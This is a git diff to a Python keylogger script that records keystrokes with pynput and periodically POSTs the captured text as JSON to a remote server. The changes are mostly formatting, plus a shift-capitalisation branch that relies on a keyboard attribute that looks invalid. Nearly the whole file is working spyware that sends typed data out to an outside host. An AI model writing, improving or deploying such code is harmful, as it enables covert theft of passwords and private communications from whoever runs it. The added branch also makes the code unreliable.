diff --git a/keylogger.py b/keylogger.py index 7810be5..fc3208b 100644 --- a/keylogger.py +++ b/keylogger.py @@ -17,14 +17,16 @@ # Time interval in seconds for code to execute. time_interval = 10 + def send_post_req(): try: # We need to convert the Python object into a JSON string. So that we can POST it to the server. Which will look for JSON using # the format {"keyboardData" : ""} - payload = json.dumps({"keyboardData" : text}) + payload = json.dumps({"keyboardData": text}) # We send the POST Request to the server with ip address which listens on the port as specified in the Express server code. # Because we're sending JSON to the server, we specify that the MIME Type for JSON is application/json. - r = requests.post(f"http://{ip_address}:{port_number}", data=payload, headers={"Content-Type" : "application/json"}) + r = requests.post(f"http://{ip_address}:{port_number}", data=payload, + headers={"Content-Type": "application/json"}) # Setting up a timer function to run every specified seconds. send_post_req is a recursive function, and will call itself as long as the program is running. timer = threading.Timer(time_interval, send_post_req) # We start the timer thread. @@ -32,13 +34,14 @@ def send_post_req(): except: print("Couldn't complete request!") + # We only need to log the key once it is released. That way it takes the modifier keys into consideration. def on_press(key): global text -# Based on the key press we handle the way the key gets logged to the in memory string. -# Read more on the different keys that can be logged here: -# https://pynput.readthedocs.io/en/latest/keyboard.html#monitoring-the-keyboard + # Based on the key press we handle the way the key gets logged to the in memory string. + # Read more on the different keys that can be logged here: + # https://pynput.readthedocs.io/en/latest/keyboard.html#monitoring-the-keyboard if key == keyboard.Key.enter: text += "\n" elif key == keyboard.Key.tab: @@ -57,12 +60,16 @@ def on_press(key): return False else: # We do an explicit conversion from the key object to a string and then append that to the string held in memory. - text += str(key).strip("'") + if keyboard.Key.shift_pressed: + text += str(key).strip("'").capitalize() + else: + text += str(key).strip("'") + # A keyboard listener is a threading.Thread, and a callback on_press will be invoked from this thread. # In the on_press function we specified how to deal with the different inputs received by the listener. with keyboard.Listener( - on_press=on_press) as listener: + on_press=on_press) as listener: # We start of by sending the post request to our server. send_post_req() listener.join()